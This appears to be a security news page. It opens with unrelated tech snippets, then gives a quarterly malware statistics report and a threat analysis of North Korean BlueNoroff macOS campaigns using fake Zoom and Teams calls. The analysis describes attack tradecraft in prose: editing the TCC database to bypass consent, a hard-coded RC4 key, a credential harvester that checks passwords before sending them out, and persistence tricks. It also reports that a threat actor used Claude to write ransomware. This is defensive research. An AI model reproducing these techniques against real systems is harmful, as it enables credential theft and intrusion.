I spend most of my time in Windows, so Iβm used to thinking about malware as a fact of life. You stay patched, you avoid sketchy downloads, and you accept that a bad attachment or sloppy update can ruin your day. macOS has always felt different to me. I only use it when work requires it or when Iβm in my home studio recording, and in all the years Iβve owned a Mac, it has stayed blissfully untouched by anything resembling a virus.
You charged your laptop to 100% last night, closed the lid, and put it in your bag. However, when you take it out the next day to get started on your work (or browse the web) it won't turn onβthe battery is dead!
The battery inside your laptop is slowly degrading, and there's no way to prevent it from happening. The catch is that some bad habits can expedite the process. If you're practicing one of the following habits, there's a good chance your laptop's battery is degrading faster than it should.
Are you a disgruntled Mac user grumbling about how some software is Windows-only? Itβs easier than you might think to solve that problem: buy a cheap Windows mini PC.
Unlike Windows, macOS doesn't give me a persistent feeling like I'm being spied on, or my personal data is being sent to who-knows-where, but in the end, that's just a perception. I think Apple is doing a better job when it comes to security and privacy, but there are still a few ways I like to tighten things up when I set up a new Mac.
If you're a Chromebook user, then it makes the most sense to use Google's productivity suite to its full potential. These lightweight web-focused computers are perfect for school, college, and even work. But if you know a few core tips and tricks about using Google Docs on your Chromebook, you will be even more efficient. That's less time working, and more time pretending to work while you browse the web.
North Korean-aligned threat actors are leveraging convincing fake job recruitment websites to deceive macOS users into executing malicious Terminal commands that deliver the FlexibleFerret malware, according to recent analysis from Jamf Threat Labs. The campaign, attributed to the Contagious Interview operation, represents a refined iteration of social engineering tactics designed to bypass macOS security protections, [β¦]
That MacOS (formerly OS X) has BSD roots is a well-known fact, with its predecessor NeXTSTEP and its XNU kernel derived from 4.3BSD. Subsequent releases of OS X/MacOS then proceeded to happily copy more bits from 4.4BSD, FreeBSD and other BSDs.
In that respect the thing that makes MacOS unique compared to other BSDs is its user interface, which is what the open source ravynOS seeks to address. By taking FreeBSD as its core, and crafting a MacOS-like UI on top, it intends to provide the MacOS UI experience without locking the user into the Apple ecosystem.
Although FreeBSD already has the ability to use the same desktop environments as Linux, there are quite a few people who prefer the Apple UX. As noted in the project FAQ, one of the goals is also to become compatible with MacOS applications, while retaining support for FreeBSD applications and Linux via the FreeBSD binary compatibility layer.
If this sounds good to you, then it should be noted that ravynOS is still in pre-release, with the recently released ravynOS βHyperpop Hyenaβ 0.6.1 available for download and your perusal. System requirements include UEFI boot, 4+ GB of RAM, x86_x64 CPU and either Intel or AMD graphics. Hardware driver support for the most part is that of current FreeBSD 14.x, which is generally pretty decent on x86 platforms, but your mileage may vary. For testing systems and VMs have a look at the supported device list, and developers are welcome to check out the GitHub page for the source.
Considering our own recent coverage of using FreeBSD as a desktop system, ravynOS provides an interesting counterpoint to simply copying over the desktop experience of Linux, and instead cozying up to its cousin MacOS. If this also means being able to run all MacOS games and applications, it could really propel FreeBSD into the desktop space from an unexpected corner.
A Russian-speaking threat actor attributed to the username βkonekoβ has resurfaced with a sophisticated new botnet named Tsundere, discovered by Kaspersky GReAT around mid-2025. This marks a significant evolution from a previous supply chain campaign that targeted Node.js developers in October 2024, revealing disturbing parallels in methodology and infrastructure. Using typosquatting techniques registering package names [β¦]
15% of all ransomware victims whose data was published on threat actorsβ data leak sites (DLSs) were victims of Qilin.
More than 254,000 users were targeted by miners.
Ransomware
Quarterly trends and highlights
Law enforcement success
The UKβs National Crime Agency (NCA) arrested the first suspect in connection with a ransomware attack that caused disruptions at numerous European airports in September 2025. Details of the arrest have not been published as the investigation remains ongoing. According to security researcher Kevin Beaumont, the attack employed the HardBit ransomware, which he described as primitive and lacking its own data leak site.
The U.S. Department of Justice filed charges against the administrator of the LockerGoga, MegaCortex and Nefilim ransomware gangs. His attacks caused millions of dollars in damage, putting him on wanted lists for both the FBI and the European Union.
U.S. authorities seized over $2.8 million in cryptocurrency, $70,000 in cash, and a luxury vehicle from a suspect allegedly involved in distributing the Zeppelin ransomware. The criminal scheme involved data theft, file encryption, and extortion, with numerous organizations worldwide falling victim.
A coordinated international operation conducted by the FBI, Homeland Security Investigations (HSI), the U.S. Internal Revenue Service (IRS), and law enforcement agencies from several other countries successfully dismantled the infrastructure of the BlackSuit ransomware. The operation resulted in the seizure of four servers, nine domains, and $1.09 million in cryptocurrency. The objective of the operation was to destabilize the malware ecosystem and protect critical U.S. infrastructure.
Vulnerabilities and attacks
SSL VPN attacks on SonicWall
Since late July, researchers have recorded a rise in attacks by the Akira threat actor targeting SonicWall firewalls supporting SSL VPN. SonicWall has linked these incidents to the already-patched vulnerability CVE-2024-40766, which allows unauthorized users to gain access to system resources. Attackers exploited the vulnerability to steal credentials, subsequently using them to access devices, even those that had been patched. Furthermore, the attackers were able to bypass multi-factor authentication enabled on the devices. SonicWall urges customers to reset all passwords and update their SonicOS firmware.
Scattered Spider uses social engineering to breach VMware ESXi
The Scattered Spider (UNC3944) group is attacking VMware virtual environments. The attackers contact IT support posing as company employees and request to reset their Active Directory password. Once access to vCenter is obtained, the threat actors enable SSH on the ESXi servers, extract the NTDS.dit database, and, in the final phase of the attack, deploy ransomware to encrypt all virtual machines.
Exploitation of a Microsoft SharePoint vulnerability
In late July, researchers uncovered attacks on SharePoint servers that exploited the ToolShell vulnerability chain. In the course of investigating this campaign, which affected over 140 organizations globally, researchers discovered the 4L4MD4R ransomware based on Mauri870 code. The malware is written in Go and packed using the UPX compressor. It demands a ransom of 0.005 BTC.
The application of AI in ransomware development
A UK-based threat actor used Claude to create and launch a ransomware-as-a-service (RaaS) platform. The AI was responsible for writing the code, which included advanced features such as anti-EDR techniques, encryption using ChaCha20 and RSA algorithms, shadow copy deletion, and network file encryption.
Anthropic noted that the attacker was almost entirely dependent on Claude, as they lacked the necessary technical knowledge to provide technical support to their own clients. The threat actor sold the completed malware kits on the dark web for $400β$1,200.
Researchers also discovered a new ransomware strain, dubbed PromptLock, that utilizes an LLM directly during attacks. The malware is written in Go. It uses hardcoded prompts to dynamically generate Lua scripts for data theft and encryption across Windows, macOS and Linux systems. For encryption, it employs the SPECK-128 algorithm, which is rarely used by ransomware groups.
Subsequently, scientists from the NYU Tandon School of Engineering traced back the likely origins of PromptLock to their own educational project, Ransomware 3.0, which they detailed in a prior publication.
The most prolific groups
This section highlights the most prolific ransomware gangs by number of victims added to each groupβs DLS. As in the previous quarter, Qilin leads by this metric. Its share grew by 1.89 percentage points (p.p.) to reach 14.96%. The Clop ransomware showed reduced activity, while the share of Akira (10.02%) slightly increased. The INC Ransom group, active since 2023, rose to third place with 8.15%.
Number of each groupβs victims according to its DLS as a percentage of all groupsβ victims published on all the DLSs under review during the reporting period (download)
Number of new variants
In the third quarter, Kaspersky solutions detected four new families and 2,259 new ransomware modifications, nearly one-third more than in Q2Β 2025 and slightly more than in Q3Β 2024.
Number of new ransomware modifications, Q3Β 2024Β βΒ Q3Β 2025 (download)
Number of users attacked by ransomware Trojans
During the reporting period, our solutions protected 84,903 unique users from ransomware. Ransomware activity was highest in July, while August proved to be the quietest month.
Number of unique users attacked by ransomware Trojans, Q3Β 2025 (download)
Attack geography
TOP 10 countries attacked by ransomware Trojans
In the third quarter, Israel had the highest share (1.42%) of attacked users. Most of the ransomware in that country was detected in August via behavioral analysis.
Country/territory*
%**
1
Israel
1.42
2
Libya
0.64
3
Rwanda
0.59
4
South Korea
0.58
5
China
0.51
6
Pakistan
0.47
7
Bangladesh
0.45
8
Iraq
0.44
9
Tajikistan
0.39
10
Ethiopia
0.36
*Β Excluded are countries and territories with relatively few (under 50,000) Kaspersky users.
**Β Unique users whose computers were attacked by ransomware Trojans as a percentage of all unique users of Kaspersky products in the country/territory.
*Β Unique Kaspersky users attacked by the specific ransomware Trojan family as a percentage of all unique users attacked by this type of threat.
Miners
Number of new variants
In Q3Β 2025, Kaspersky solutions detected 2,863 new modifications of miners.
Number of new miner modifications, Q3Β 2025 (download)
Number of users attacked by miners
During the third quarter, we detected attacks using miner programs on the computers of 254,414 unique Kaspersky users worldwide.
Number of unique users attacked by miners, Q3Β 2025 (download)
Attack geography
TOP 10 countries and territories attacked by miners
Country/territory*
%**
1
Senegal
3.52
2
Mali
1.50
3
Afghanistan
1.17
4
Algeria
0.95
5
Kazakhstan
0.93
6
Tanzania
0.92
7
Dominican Republic
0.86
8
Ethiopia
0.77
9
Portugal
0.75
10
Belarus
0.75
*Β Excluded are countries and territories with relatively few (under 50,000) Kaspersky users.
**Β Unique users whose computers were attacked by miners as a percentage of all unique users of Kaspersky products in the country/territory.
Attacks on macOS
In April, researchers at Iru (formerly Kandji) reported the discovery of a new spyware family, PasivRobber. We observed the development of this family throughout the third quarter. Its new modifications introduced additional executable modules that were absent in previous versions. Furthermore, the attackers began employing obfuscation techniques in an attempt to hinder sample detection.
In July, we reported on a cryptostealer distributed through fake extensions for the Cursor AI development environment, which is based on Visual Studio Code. At that time, the malicious JavaScript (JS) script downloaded a payload in the form of the ScreenConnect remote access utility. This utility was then used to download cryptocurrency-stealing VBS scripts onto the victimβs device. Later, researcher Michael Bocanegra reported on new fake VS Code extensions that also executed malicious JS code. This time, the code downloaded a malicious macOS payload: a Rust-based loader. This loader then delivered a backdoor to the victimβs device, presumably also aimed at cryptocurrency theft. The backdoor supported the loading of additional modules to collect data about the victimβs machine. The Rust downloader was analyzed in detail by researchers at Iru.
In September, researchers at Jamf reported the discovery of a previously unknown version of the modular backdoor ChillyHell, first described in 2023. Notably, the Trojanβs executable files were signed with a valid developer certificate at the time of discovery.
The new sample had been available on Dropbox since 2021. In addition to its backdoor functionality, it also contains a module responsible for bruteforcing passwords of existing system users.
By the end of the third quarter, researchers at Microsoft reported new versions of the XCSSET spyware, which targets developers and spreads through infected Xcode projects. These new versions incorporated additional modules for data theft and system persistence.
TOP 20 threats to macOS
Unique users* who encountered this malware as a percentage of all attacked users of Kaspersky security solutions for macOS (download)
*Β Data for the previous quarter may differ slightly from previously published data due to some verdicts being retrospectively revised.
The PasivRobber spyware continues to increase its activity, with its modifications occupying the top spots in the list of the most widespread macOS malware varieties. Other highly active threats include Amos Trojans, which steal passwords and cryptocurrency wallet data, and various adware. The Backdoor.OSX.Agent.l family, which took thirteenth place, represents a variation on the well-known open-source malware, Mettle.
Geography of threats to macOS
TOPΒ 10 countries and territories by share of attacked users
Country/territory
%* Q2 2025
%* Q3Β 2025
Mainland China
2.50
1.70
Italy
0.74
0.85
France
1.08
0.83
Spain
0.86
0.81
Brazil
0.70
0.68
The Netherlands
0.41
0.68
Mexico
0.76
0.65
Hong Kong
0.84
0.62
United Kingdom
0.71
0.58
India
0.76
0.56
IoT threat statistics
This section presents statistics on attacks targeting Kaspersky IoT honeypots. The geographic data on attack sources is based on the IP addresses of attacking devices.
In Q3Β 2025, there was a slight increase in the share of devices attacking Kaspersky honeypots via the SSH protocol.
Distribution of attacked services by number of unique IP addresses of attacking devices (download)
Conversely, the share of attacks using the SSH protocol slightly decreased.
Distribution of attackersβ sessions in Kaspersky honeypots (download)
TOP 10 threats delivered to IoT devices
Share of each threat delivered to an infected device as a result of a successful attack, out of the total number of threats delivered (download)
In the third quarter, the shares of the NyaDrop and Mirai.b botnets significantly decreased in the overall volume of IoT threats. Conversely, the activity of several other members of the Mirai family, as well as the Gafgyt botnet, increased. As is typical, various Mirai variants occupy the majority of the list of the most widespread malware strains.
Attacks on IoT honeypots
Germany and the United States continue to lead in the distribution of attacks via the SSH protocol. The share of attacks originating from Panama and Iran also saw a slight increase.
Country/territory
Q2Β 2025
Q3Β 2025
Germany
24.58%
13.72%
United States
10.81%
13.57%
Panama
1.05%
7.81%
Iran
1.50%
7.04%
Seychelles
6.54%
6.69%
South Africa
2.28%
5.50%
The Netherlands
3.53%
3.94%
Vietnam
3.00%
3.52%
India
2.89%
3.47%
Russian Federation
8.45%
3.29%
The largest number of attacks via the Telnet protocol were carried out from China, as is typically the case. Devices located in India reduced their activity, whereas the share of attacks from Indonesia increased.
Country/territory
Q2Β 2025
Q3Β 2025
China
47.02%
57.10%
Indonesia
5.54%
9.48%
India
28.08%
8.66%
Russian Federation
4.85%
7.44%
Pakistan
3.58%
6.66%
Nigeria
1.66%
3.25%
Vietnam
0.55%
1.32%
Seychelles
0.58%
0.93%
Ukraine
0.51%
0.73%
Sweden
0.39%
0.72%
Attacks via web resources
The statistics in this section are based on detection verdicts by Web Anti-Virus, which protects users when suspicious objects are downloaded from malicious or infected web pages. These malicious pages are purposefully created by cybercriminals. Websites that host user-generated content, such as message boards, as well as compromised legitimate sites, can become infected.
TOP 10 countries that served as sources of web-based attacks
This section gives the geographical distribution of sources of online attacks (such as web pages redirecting to exploits, sites hosting exploits and other malware, and botnet C2 centers) blocked by Kaspersky products. One or more web-based attacks could originate from each unique host.
To determine the geographic source of web attacks, we matched the domain name with the real IP address where the domain is hosted, then identified the geographic location of that IP address (GeoIP).
In the third quarter of 2025, Kaspersky solutions blocked 389,755,481 attacks from internet resources worldwide. Web Anti-Virus was triggered by 51,886,619 unique URLs.
Countries and territories where users faced the greatest risk of online infection
To assess the risk of malware infection via the internet for usersβ computers in different countries and territories, we calculated the share of Kaspersky users in each location on whose computers Web Anti-Virus was triggered during the reporting period. The resulting data provides an indication of the aggressiveness of the environment in which computers operate in different countries and territories.
This ranked list includes only attacks by malicious objects classified as Malware. Our calculations leave out Web Anti-Virus detections of potentially dangerous or unwanted programs, such as RiskTool or adware.
Country/territory*
%**
1
Panama
11.24
2
Bangladesh
8.40
3
Tajikistan
7.96
4
Venezuela
7.83
5
Serbia
7.74
6
Sri Lanka
7.57
7
North Macedonia
7.39
8
Nepal
7.23
9
Albania
7.04
10
Qatar
6.91
11
Malawi
6.90
12
Algeria
6.74
13
Egypt
6.73
14
Bosnia and Herzegovina
6.59
15
Tunisia
6.54
16
Belgium
6.51
17
Kuwait
6.49
18
Turkey
6.41
19
Belarus
6.40
20
Bulgaria
6.36
*Β Excluded are countries and territories with relatively few (under 10,000) Kaspersky users.
** Unique users targeted by web-based Malware attacks as a percentage of all unique users of Kaspersky products in the country/territory.
On average, over the course of the quarter, 4.88% of devices globally were subjected to at least one web-based Malware attack.
Local threats
Statistics on local infections of user computers are an important indicator. They include objects that penetrated the target computer by infecting files or removable media, or initially made their way onto the computer in non-open form. Examples of the latter are programs in complex installers and encrypted files.
Data in this section is based on analyzing statistics produced by anti-virus scans of files on the hard drive at the moment they were created or accessed, and the results of scanning removable storage media: flash drives, camera memory cards, phones, and external drives. The statistics are based on detection verdicts from the on-access scan (OAS) and on-demand scan (ODS) modules of File Anti-Virus.
In the third quarter of 2025, our File Anti-Virus recorded 21,356,075 malicious and potentially unwanted objects.
Countries and territories where users faced the highest risk of local infection
For each country and territory, we calculated the percentage of Kaspersky users on whose computers File Anti-Virus was triggered during the reporting period. This statistic reflects the level of personal computer infection in different countries and territories around the world.
Note that this ranked list includes only attacks by malicious objects classified as Malware. Our calculations leave out File Anti-Virus detections of potentially dangerous or unwanted programs, such as RiskTool or adware.
Country/territory*
%**
1
Turkmenistan
45.69
2
Yemen
33.19
3
Afghanistan
32.56
4
Tajikistan
31.06
5
Cuba
30.13
6
Uzbekistan
29.08
7
Syria
25.61
8
Bangladesh
24.69
9
China
22.77
10
Vietnam
22.63
11
Cameroon
22.53
12
Belarus
21.98
13
Tanzania
21.80
14
Niger
21.70
15
Mali
21.29
16
Iraq
20.77
17
Nicaragua
20.75
18
Algeria
20.51
19
Congo
20.50
20
Venezuela
20.48
*Β Excluded are countries and territories with relatively few (under 10,000) Kaspersky users.
**Β Unique users on whose computers local Malware threats were blocked, as a percentage of all unique users of Kaspersky products in the country/territory.
On average worldwide, local Malware threats were detected at least once on 12.36% of computers during the third quarter.
Primarily focused on financial gain since its appearance, BlueNoroff (aka. Sapphire Sleet, APT38, Alluring Pisces, Stardust Chollima, and TA444) has adopted new infiltration strategies and malware sets over time, but it still targets blockchain developers, C-level executives, and managers within the Web3/blockchain industry as part of its SnatchCrypto operation. Earlier this year, we conducted research into two malicious campaigns by BlueNoroff under the SnatchCrypto operation, which we dubbed GhostCall and GhostHire.
GhostCall heavily targets the macOS devices of executives at tech companies and in the venture capital sector by directly approaching targets via platforms like Telegram, and inviting potential victims to investment-related meetings linked to Zoom-like phishing websites. The victim would join a fake call with genuine recordings of this threatβs other actual victims rather than deepfakes. The call proceeds smoothly to then encourage the user to update the Zoom client with a script. Eventually, the script downloads ZIP files that result in infection chains deployed on an infected host.
GhostCall campaign attack flow
In the GhostHire campaign, BlueNoroff approaches Web3 developers and tricks them into downloading and executing a GitHub repository containing malware under the guise of a skill assessment during a recruitment process. After initial contact and a brief screening, the user is added to a Telegram bot by the recruiter. The bot sends either a ZIP file or a GitHub link, accompanied by a 30-minute time limit to complete the task, while putting pressure on the victim to quickly run the malicious project. Once executed, the project downloads a malicious payload onto the userβs system. The payload is specifically chosen according to the user agent, which identifies the operating system being used by the victim.
GhostHire campaign attack flow
We observed the actor utilizing AI in various aspects of their attacks, which enabled them to enhance productivity and meticulously refine their attacks. The infection scheme observed in GhostHire shares structural similarities of infection chains with the GhostCall campaign, and identical malware was detected in both.
We have been tracking these two campaigns since April 2025, particularly observing the continuous emergence of the GhostCall campaignβs victims on platforms like X. We hope our research will help prevent further damage, and we extend our gratitude to everyone who willingly shared relevant information.
The relevant information about GhostCall has already been disclosed by Microsoft, Huntability, Huntress, Field Effect, and SentinelOne. However, we cover newly discovered malware chains and provide deeper insights.
The GhostCall campaign
The GhostCall campaign is a sophisticated attack that uses fake online calls with the threat actors posing as fake entrepreneurs or investors to convince targets. GhostCall has been active at least since mid-2023, potentially following the RustBucket campaign, which marked BlueNoroffβs full-scale shift to attacking macOS systems. Windows was the initial focus of the campaign; it soon shifted to macOS to better align with the targetsβ predominantly macOS environment, leveraging deceptive video calls to maximize impact.
The GhostCall campaign employs sophisticated fake meeting templates and fake Zoom updaters to deceive targets. Historically, the actor often used excuses related to IP access control, but shifted to audio problems to persuade the target to download the malicious AppleScript code to fix it. Most recently, we observed the actor attempting to transition the target platform from Zoom to Microsoft Teams.
During this investigation, we identified seven distinct multi-component infection chains, a stealer suite, and a keylogger. The modular stealer suite gathers extensive secret files from the host machine, including information about cryptocurrency wallets, Keychain data, package managers, and infrastructure setups. It also captures details related to cloud platforms and DevOps, along with notes, an API key for OpenAI, collaboration application data, and credentials stored within browsers, messengers, and the Telegram messaging app.
Initial access
The actor reaches out to targets on Telegram by impersonating venture capitalists and, in some cases, using compromised accounts of real entrepreneurs and startup founders. In their initial messages, the attackers promote investment or partnership opportunities. Once contact is established with the target, they use Calendly to schedule a meeting and then share a meeting link through domains that mimic Zoom. Sometimes, they may send the fake meeting link directly via messages on Telegram. The actor also occasionally uses Telegramβs hyperlink feature to hide phishing URLs and disguise them as legitimate URLs.
Overall behavior of the phishing site
Upon accessing the fake site, the target is presented with a page carefully designed to mirror the appearance of Zoom in a browser. The page uses standard browser features to prompt the user to enable their camera and enter their name. Once activated, the JavaScript logic begins recording and sends a video chunk to the /uploadΒ endpoint of the actorβs fake Zoom domain every second using the POST method.
Initial page mimicking Zoom call joining behavior
Once the target joins, a screen resembling an actual Zoom meeting appears, showing the video feeds of three participants as if they were part of a real session. Based on OSINT we were monitoring, many victims initially believed the videos they encountered were generated by deepfake or AI technology. However, our research revealed that these videos were, in fact, real recordings secretly taken from other victims who had been targeted by the same actor using the same method. Their webcam footage had been unknowingly recorded, then uploaded to attacker-controlled infrastructure, and reused to deceive other victims, making them believe they were participating in a genuine live call. When the video replay ended, the page smoothly transitioned to showing that userβs profile image, maintaining the illusion of a live call.
Fake Zoom meeting
Approximately three to five seconds later, an error message appears below the participantsβ feeds, stating that the system is not functioning properly and prompting them to download a Zoom SDK update file through a link labeled βUpdate Nowβ. However, rather than providing an update, the link downloads a malicious AppleScript file onto macOS and triggers a popup for troubleshooting on Windows.
Clicking the link on macOS (left) and on Windows (right)
On macOS, clicking the link directly downloads an AppleScript file named Zoom SDK Update.scptΒ from the actorβs domain. A small βDownloadsβ coach mark is also displayed, subtly encouraging the user to execute the script by imitating genuine Apple feedback. On Windows, the attack uses the ClickFix technique, where a modal window appears with a seemingly harmless code snippet from a legitimate domain. However, any attempt to copy the code β via the Copy button, right-click and Copy, or Ctrl+C β results in a malicious one-liner being placed in the clipboard instead.
Malicious code upon ClickFix
We observed that the actor implemented beaconing activity within the malicious web page to track victim interactions. The page reports back to their backend infrastructure β likely to assess the success or failure of the targeting. This is accomplished through a series of automatically triggered HTTP GET requests when the victim performs specific actions, as outlined below.
Endpoint
Trigger
Purpose
/join/{id}/{token}
User clicks Join on the pre-join screen
Track whether the victim entered the meeting
/action/{id}/{token}
Update / Troubleshooting SDK modal is shown
Track whether the victim clicked on the update prompt
/action1/{id}/{token}
User uses any copy-and-paste method to copy modal window contents
Confirm the clipboard swap likely succeeded
/action2/{id}/{token}
User closes modal
Track whether the victim closed the modal
In September 2025, we discovered that the group is shifting from cloning the Zoom UI in their attacks to Microsoft Teams. The method of delivering malware (via a phishing page) remains unchanged.
Upon entering the meeting room, a prompt specific to the targetβs operating system appears almost immediately after the background video starts β unlike before. While this is largely similar to Zoom, macOS users also see a separate prompt asking them to download the SDK file.
General fake prompt to update the SDK file (left) and Windows-specific (right)
We were able to obtain the AppleScript (Zoom SDK Update.scpt) the actor claimed was necessary to resolve the issue, which was already widely known through numerous research studies as the entry point for the attack. The script is disguised as an update for the Zoom Meeting SDK and contains nearly 10,000 blank lines that obscure its malicious content. Upon execution, it fetches another AppleScript, which acts as a downloader, from a different fake link using a curl command. There are numerous variants of this βtroubleshootingβ AppleScript, differing in filename, user agent, and contents.
Snippets of the AppleScript disguised as a Zoom SDK update
If the targeted macOS version is 11 (Monterey) or later, the downloader AppleScript installs a fake application disguised as Zoom or Microsoft Teams into the /private/tmpΒ directory. The application attempts to mimic a legitimate update for Zoom or Teams by displaying a password input popup. Additionally, it downloads a next-stage AppleScript, which we named βDownTroyβ. This script is expected to check stored passwords and use them to install additional malware with root privileges. We cautiously assess that this would be an evolved version of the older one, disclosed by Huntress.
Moreover, the downloader script includes a harvesting function that searches for files associated with password management applications (such as Bitwarden, LastPass, 1Password, and Dashlane), the default Notes app (group.com.apple.notes), note-taking apps like Evernote, and the Telegram application installed on the device.
Another notable feature of the downloader script is a bypass of TCC (Transparency, Consent, and Control), a macOS system designed to manage user consent for accessing sensitive resources such as the camera, microphone, AppleEvents/automation, and protected folders like Documents, Downloads, and Desktop. The script works by renaming the userβs com.apple.TCC directory and then performing offline edits to the TCC.dbΒ database. Specifically, it removes any existing entries in the access table related to a client path to be registered in the TCC database and executes INSERT OR REPLACE statements. This process enables the script to grant AppleEvents permissions for automation and file access to a client path controlled by the actor. The script inserts rows for service identifiers used by TCC, including kTCCServiceAppleEvents, kTCCServiceSystemPolicyDocumentsFolder, kTCCServiceSystemPolicyDownloadsFolder, and kTCCServiceSystemPolicyDesktopFolder, and places a hex-encoded code-signature blob (in the csreqΒ style) in the database to meet the requirement for access to be granted. This binary blob must be bound to the target appβs code signature and evaluated at runtime. Finally, the script attempts to rename the TCC directory back to its original name and calls tccutil reset DeveloperTool.
In the sample we analyzed, the client path is ~/Library/Google/Chrome UpdateΒ β the location the actor uses for their implant. In short, this allows the implant to control other applications, access data from the userβs Documents, Downloads, and Desktop folders, and execute AppleScripts β all without prompting for user consent.
Initial infection flow
Multi-stage execution chains
According to our telemetry and investigation into the actorβs infrastructure, DownTroy would download ZIP files that contain various individual infection chains from the actorβs centralized file hosting server. Although we havenβt observed how the SysPhon and the SneakMain chain were installed, we suspect they wouldβve been downloaded in the same manner. We have identified not only at least seven multi-stage execution chains retrieved from the server, but also various malware families installed on the infected hosts, including keyloggers and stealers downloaded by CosmicDoor and RooTroy chains.
Num
Execution chain/Malware
Components
Source
1
ZoomClutch
(standalone)
File hosting server
2
DownTroy v1 chain
Launcher, Dropper, DownTroy.macOS
File hosting server
3
CosmicDoor chain
Injector, CosmicDoor.macOS in Nim
File hosting server
4
RooTroy chain
Installer, Loader, Injector, RooTroy.macOS
File hosting server
5
RealTimeTroy chain
Injector, RealTimeTroy.macOS in Go
Unknown, obtained from multiscanning service
6
SneakMain chain
Installer, Loader, SneakMain.macOS
Unknown, obtained from infected hosts
7
DownTroy v2 chain
Installer, Loader, Dropper, DownTroy.macOS
File hosting server
8
SysPhon chain
Installer, SysPhone backdoor
Unknown, obtained from infected hosts
The actor has been introducing new malware chains by adapting new programming languages and developing new components since 2023. Before that, they employed standalone malware families, but later evolved into a modular structure consisting of launchers, injectors, installers, loaders, and droppers. This modular approach enables the malicious behavior to be divided into smaller components, making it easier to bypass security products and evade detection. Most of the final payloads in these chains have the capability to download additional AppleScript files or execute commands to retrieve subsequent-stage payloads.
Interestingly, the actor initially favored Rust for writing malware but ultimately switched to the Nim language. Meanwhile, other programming languages like C++, Python, Go, and Swift have also been utilized. The C++ language was employed to develop the injector malware as well as the base application within the injector, but the application was later rewritten in Swift. Go was also used to develop certain components of the malware chain, such as the installer and dropper, but these were later switched to Nim as well.
ZoomClutch/TeamsClutch: the fake Zoom/Teams application
During our research of a macOS intrusion on a victimβs machine, we found a suspicious application resembling a Zoom client executing from an atypical, writable path β /tmp/zoom.app/Contents/MacOS β rather than the standard /ApplicationsΒ directory. Analysis showed that the binary was not an official Zoom build but a custom implant compiled on macOSβ―14.5β―(24F74) with Xcodeβ―16β―betaβ―2β―(16C5032a) against the macOSβ―15.2 SDK. The app is adβhoc signed, and its bundle identifier is hardβcoded to us.zoom.comΒ to mimic the legitimate client.
The implant is written in Swift and functions as a macOS credentials harvester, disguised as the Zoom videoconferencing application. It features a well-developed user interface using Swiftβs modern UI frameworks that closely mimics the Zoom application icon, Apple password prompts, and other authentic elements.
ZoomClutch prompting the victim to enter their password
ZoomClutch steals macOS passwords by displaying a fake Zoom dialog, then sends the captured credentials to the C2 server. However, before exfiltrating the data, ZoomClutch first validates the credentials locally using Appleβs Open Directory (OD) to filter out typos and incorrect entries, mirroring macOSβs own authentication flow. OD manages accounts and authentication processes for both local and external directories. Local user data sits at /var/db/dslocal/nodes/Default/users/Β as plists with PBKDF2βSHA512Β hashes. The malware creates an ODSession, then opens a local ODNodeΒ via kODNodeTypeLocalNodes (0x2200/8704)Β to scope operations to /Local/Default.
It subsequently calls verifyPassword:error:Β to check the password, which re-hashes the input password using the stored salt and iterations, returning true if there is a match. If verification fails, ZoomClutch re-prompts the user and shortly displays a βwrong passwordβ popup with a shake animation. On success, it hides the dialog, displays a βZoom Meeting SDK has been updated successfullyβ message, and the validated credentials are covertly sent to the C2 server.
ZoomClutch success window displayed after password validation
All passwords entered in the prompt are logged to ~/Library/Logs/keybagd_events.log. The malware then creates a file at ~/Library/Logs/<username>_auth.logΒ to store the verified password in plain text. This file is subsequently uploaded to a C2 URL using curl.
With medium-high confidence, we assess that the malware was part of BlueNoroffβs workflow needed to initiate the execution flow outlined in the subsequent infection chains.
The TeamsClutch malware that mimics a legitimate Microsoft Teams functions similarly to ZoomClutch, but with its logo and some text elements replaced.
TeamsClutch authentication and success windows
DownTroy v1 chain
The DownTroy v1 chain consists of a launcher and a dropper, which ultimately loads the DownTroy.macOS malware written in AppleScript.
Dropper: a dropper file named "trustd", written in Go
Launcher: a launcher file named "watchdog", written in Go
Final payload: DownTroy.macOS written in AppleScript
The dropper operates in two distinct modes: initialization and operational. When the binary is executed with a machine ID (mid) as the sole argument, it enters initialization mode and updates the configuration file located at ~/Library/Assistant/CustomVocabulary/com.applet.safari/local_log using the provided mid and encrypts it with RC4. It then runs itself without any arguments to transition into operational mode. In case the binary is launched without any arguments, it enters operational mode directly. In this mode, it retrieves the previously saved configuration and uses the RC4 key NvZGluZz0iVVRGLTgiPz4KPCF to decrypt it. It is important to note that the mid value must first be included in the configuration during initialization mode, as it is essential for subsequent actions.
It then decodes a hard-coded, base64-encoded string associated with DownTroy.macOS. This AppleScript contains a placeholder value, %mail_id%, which is replaced with the initialized mid value from the configuration. The modified script is saved to a temporary file named local.lockΒ within the <BasePath>Β directory from the configuration, with 0644 permissions applied, meaning that only the script owner can modify it. The malware then uses osascriptΒ to execute DownTroy.macOS and sets Setpgid=1Β to isolate the process group. DownTroy.macOS is responsible for downloading additional scripts from its C2 server until the system is rebooted.
The dropper implements a signal handling procedure to monitor for termination attempts. Initially, it reads the entire trustd (itself) and watchdog binary files into memory, storing them in a buffer before deleting the original files. Upon receiving a SIGINT or SIGTERM signal indicating that the process should terminate, the recovery mechanism activates to maintain persistence. While SIGINT is a signal used to interrupt a running process by the user from the terminal using the keyboard shortcut Ctrl + C, SIGTERM is a signal that requests a process to terminate gracefully.
The recovery mechanism begins by recreating the <BasePath> directory with intentionally insecure 0777 permissions (meaning that all users have the read, write, and execute permissions). Next, it writes both binaries back to disk from memory, assigning them executable permissions (0755), and also creates a plist file to ensure the automatic restart of this process chain.
trustd: trustd in the <BasePath> directory
watchdog: ~/Library/Assistant/SafariUpdate and watchdog in the <BasePath>Β directory
The contents of the plist file are hard-coded into the dropper in base64-encoded form. When decoded, the template represents a standard macOS LaunchAgent plist containing the placeholder tokens #path and #label. The malware replaces these tokens to customize the template. The final plist configuration ensures the launcher automatic execution by setting RunAtLoadΒ to true (starts at login), KeepAlive to true (restarts if terminated), and LaunchOnlyOnce to true.
#path is replaced with the path to the copied watchdog
#label is replaced with com.applet.safariΒ to masquerade as a legitimate Safari-related component
The main feature of the discovered launcher is its ability to load the same configuration file located at ~/Library/Assistant/CustomVocabulary/com.applet.safari/local_log. It reads the file and uses the RC4 algorithm to decrypt its contents with the same hard-coded 25-byte key: NvZGluZz0iVVRGLTgiPz4KPCF. After decryption, the loader extracts the <BasePath> value from the JSON object, which specifies the location of the next payload. It then executes a file named trustd from this path, disguising it as a legitimate macOS system process.
